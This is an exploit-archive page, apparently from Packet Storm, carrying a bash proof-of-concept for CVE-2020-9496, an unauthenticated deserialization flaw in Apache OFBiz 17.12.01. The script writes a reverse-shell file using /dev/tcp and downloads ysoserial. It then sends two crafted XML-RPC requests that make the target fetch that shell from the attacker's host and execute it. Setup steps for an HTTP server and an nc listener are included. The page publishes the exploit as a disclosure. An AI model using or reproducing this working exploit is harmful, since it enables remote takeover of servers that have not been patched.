exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Apache OfBiz 17.12.01 Remote Command Execution

Apache OfBiz 17.12.01 Remote Command Execution
Posted Aug 4, 2021
Authored by Alvaro Munoz, Adrian Diaz

Apache OfBiz version 17.12.01 exploit that achieves remote command execution via unsafe deserialization of XMLRPC arguments.

tags | exploit, remote
advisories | CVE-2020-9496
SHA-256 | b652b1e90ec39550f162f0098b3ea7e6dd4663ad5d58f1334648f1f4323febf9

Apache OfBiz 17.12.01 Remote Command Execution

Change Mirror Download
# Exploit Title: ApacheOfBiz 17.12.01 - Remote Command Execution (RCE) via Unsafe Deserialization of XMLRPC arguments
# Date: 2021-08-04
# Exploit Author: Álvaro Muñoz, Adrián Díaz (s4dbrd)
# Vendor Homepage: https://ofbiz.apache.org/index.html
# Software Link: https://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.01.zip
# Version: 17.12.01
# Tested on: Linux

# CVE : CVE-2020-9496

# Reference: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/

# Description: This CVE was discovered by Alvaro Muñoz, but I have created this POC to automate the process and the necessary requests to successfully exploit it and get RCE.

#!/usr/bin/env bash

# Because the 2 xmlrpc related requets in webtools (xmlrpc and ping) are not using authentication they are vulnerable to unsafe deserialization.
# This issue was reported to the security team by Alvaro Munoz pwntester@github.com from the GitHub Security Lab team.
#
# This vulnerability exists due to Java serialization issues when processing requests sent to /webtools/control/xmlrpc.
# A remote unauthenticated attacker can exploit this vulnerability by sending a crafted request. Successful exploitation would result in arbitrary code execution.
#
# Steps to exploit:
#
# Step 1: Host HTTP Service with python3 (sudo python3 -m http.server 80)
# Step 2: Start nc listener (Recommended 8001).
# Step 3: Run the exploit.


url='https://127.0.0.1' # CHANGE THIS
port=8443 # CHANGE THIS

function helpPanel(){
echo -e "\nUsage:"
echo -e "\t[-i] Attacker's IP"
echo -e "\t[-p] Attacker's Port"
echo -e "\t[-h] Show help pannel"
exit 1
}


function ctrl_c(){
echo -e "\n\n[!] Exiting...\n"
exit 1
}
# Ctrl + C
trap ctrl_c INT

function webRequest(){
echo -e "\n[*] Creating a shell file with bash\n"
echo -e "#!/bin/bash\n/bin/bash -i >& /dev/tcp/$ip/$ncport 0>&1" > shell.sh
echo -e "[*] Downloading YsoSerial JAR File\n"
wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-d367e379d9-1/ysoserial-master-d367e379d9-1.jar
echo -e "[*] Generating a JAR payload\n"
payload=$(java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "wget $ip/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n")
echo -e "[*] Sending malicious shell to server...\n" && sleep 0.5
curl -s $url:$port/webtools/control/xmlrpc -X POST -d "<?xml version='1.0'?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>$payload</serializable></value></member></struct></value></param></params></methodCall>" -k -H 'Content-Type:application/xml' &>/dev/null
echo -e "[*] Generating a second JAR payload"
payload2=$(java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n")
echo -e "\n[*] Executing the payload in the server...\n" && sleep 0.5
curl -s $url:$port/webtools/control/xmlrpc -X POST -d "<?xml version='1.0'?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>$payload2</serializable></value></member></struct></value></param></params></methodCall>" -k -H 'Content-Type:application/xml' &>/dev/null
echo -e "\n[*]Deleting Files..."
rm ysoserial-master-d367e379d9-1.jar && rm shell.sh
}

declare -i parameter_enable=0; while getopts ":i:p:h:" arg; do
case $arg in
i) ip=$OPTARG; let parameter_enable+=1;;
p) ncport=$OPTARG; let parameter_enable+=1;;
h) helpPanel;;
esac
done

if [ $parameter_enable -ne 2 ]; then
helpPanel
else
webRequest
fi
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close